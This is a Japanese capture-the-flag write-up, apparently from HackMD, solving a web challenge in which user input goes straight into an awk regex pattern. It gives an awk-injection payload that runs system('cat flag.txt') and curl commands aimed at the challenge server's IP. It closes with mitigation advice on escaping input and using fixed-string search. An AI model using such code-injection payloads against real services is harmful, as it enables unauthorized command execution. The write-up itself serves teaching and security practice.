# 2025-12-22_"Log Viewer": 251222 Level: Medium Type: Web Solved day: 2025-12-22 ## Solution ### Observation: `awk "/{query}/"` にユーザ入力が直挿しされている サーバ側はフォーム入力 `query` を受け取り、以下のように `awk` の **パターン部** `/.../` にそのまま埋め込んで実行している。さらに `timeout=0.5` が設定されているため、長い処理は途中で落ちる。 - `command = ["awk", f"/{query}/", "info.log"]` - `subprocess.run(..., timeout=0.5, ...)` つまりこれは「シェルインジェクション」ではなく、**awk のプログラム構文そのものに対するインジェクション**(AWK Injection)になっている。 ### Key idea: `/.../ { ... }` 構文を閉じて action を注入する awk は - `/<regex>/ { action }` という構文を持つ。したがって `query` に `/` を含めて **正規表現リテラルを閉じ**、続けて `{ system(...) }` を注入できる。 ただし、このアプリは末尾に必ず `"/{query}/"` の **最後の `/`** を付与するため、注入後に余計な `/` が残って構文エラーになり得る。 そこで `#` を入れて **awk のコメント**にし、末尾の `/` を無効化する。 ### Payload(0.5秒対策:即 `exit`) `timeout=0.5` のため、ログ全体を走査させるより **最初の1行で実行→終了**が安全。 使ったペイロード(例:`flag.txt` を読む): ``` .\*/{system("cat flag.txt");exit}# ```` これにより awk には概ね次のようなプログラムが渡る: - 元の想定: `/<query>/` - 注入後: `/.*/ { system("cat flag.txt"); exit } #/` `#` 以降はコメントになり、アプリ側が付ける余計な末尾 `/` が無視される。 ### Exploit(curl の例) URL エンコードが必要な記号(`{ } " #` など)があるため `--data-urlencode` を使うと安全。 ```bash curl -s -X POST \ --data-urlencode 'query=.*/{system("cat flag.txt");exit}#' \ 'http://34.170.146.252:17672/' ```` レスポンス中に `Alpaca{...}` の形式でフラグが表示される。 (見つけづらい場合) ```bash curl -s -X POST \ --data-urlencode 'query=.*/{system("cat flag.txt");exit}#' \ 'http://34.170.146.252:17672/' | grep -o 'Alpaca{[^}]*}' ``` ### うまくいかない時の切り分け 1. **ファイル位置確認** ```bash curl -s -X POST --data-urlencode 'query=.*/{system("ls -la");exit}#' \ 'http://34.170.146.252:17672/' ``` `flag.txt` のパスが違うなら `cat` の引数を調整する。 2. **出力が HTML に埋もれる** ブラウザなら「ページのソース」や DevTools の Network → Response を見る。 curl なら `grep -o` で抽出する。 ## How I thought ### 重要な観察 1. `query` が **awk の `/<regex>/` に直挿し**されている → awk 構文注入の可能性 2. `subprocess.run([...])` で shell を使っていないので、狙うべきはシェルではなく **awk 自体の文法** 3. `timeout=0.5` があるので、処理は **即 `exit` で終了**させる必要がある ### 発想の流れ * awk の基本構文 `/<regex>/ { action }` を思い出す * `query` で `/` を閉じて `{system(...)} ` を差し込む * 末尾に付く余計な `/` を `#` でコメントアウト * タイムアウト対策に `exit` を入れて最速化 ### 学び(バグの本質) * 「正規表現検索」のつもりで `/.../` にユーザ入力を入れるのは危険 * `awk` / `sed` などは **言語**なので、引数でもコード注入が起こり得る * 対策は「正規表現のエスケープ」や「`grep -F` のような固定文字列検索」への置換、 もしくは awk を使うなら `-v` で値として渡して安全に処理する、など
×
Sign in
Email
Password
Forgot password
or
Sign in via Google
Sign in via Facebook
Sign in via X(Twitter)
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
Continue with a different method
New to HackMD?
Sign up
By signing in, you agree to our
terms of service
.